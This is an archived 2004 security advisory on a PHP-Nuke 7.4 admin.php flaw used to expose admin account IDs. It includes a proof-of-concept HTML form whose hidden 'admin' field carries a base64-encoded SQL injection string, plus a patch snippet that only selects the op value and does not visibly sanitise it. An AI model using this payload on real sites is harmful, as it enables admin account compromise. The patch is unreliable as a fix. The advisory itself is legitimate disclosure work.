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[XSS] PHP-Nuke 7.4 ViewAdmin Bug
From: Pierquinto Manco <mantra () ntj it>
Date: 4 Sep 2004 08:19:26 -0000
************************************************************** * CODEBUG Labs * Advisory #3 * Title: ViewAdmin Bug * Author: Pierquinto 'Mantra' Manco * Product: PHP-Nuke 7.4 * Type: XSS * Web: http://www.mantralab.org * ************************************************************** View Admin Bug - ) Description PHP-Nuke is a very bugged web CMS, version 7.4 has critical XSS bug that permit to an attacker to view Admin account aid and to use this information to delete account using Delete Admin Bug (CODEBUG #2). This bug is very old too but we can bypass the patch sending data by POST instead of GET. - ) Proof-of-Concept Create a HTML file with this lines: <form name="form1" method="POST" action="http://www.sitewithphpnuke.com/admin.php"> <input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox"> <br> <input type="hidden" name="add_radminsuper" value="1"> <br> <input type="hidden" name="op" value="mod_authors"> <input type="submit" name="Submit" value="Display"> <br> </p> </form> - ) Patch Apply this code to your admin.php file: if ( !empty($HTTP_GET_VARS['op']) ) { $op = $HTTP_GET_VARS['op']; } if ( !empty($HTTP_POST_VARS['op']) ) { $op = $HTTP_POST_VARS['op']; } -) Note There are a lot of this problem in PHP-Nuke 7.4, my patch will check the content of $_POST[op] and $_GET[op]. I'm going to post all this vulnerabilities on my site... http://www.mantralab.org ************************************************************** http://www.mantralab.org **************************************************************
Current thread:
- [XSS] PHP-Nuke 7.4 ViewAdmin Bug Pierquinto Manco (Sep 04)
- Re: [XSS] PHP-Nuke 7.4 Bugs Blaine Elzey (Sep 07)
- Re: [XSS] PHP-Nuke 7.4 Bugs Peter Lowe (Sep 08)
- Re: [XSS] PHP-Nuke 7.4 Bugs Blaine Elzey (Sep 07)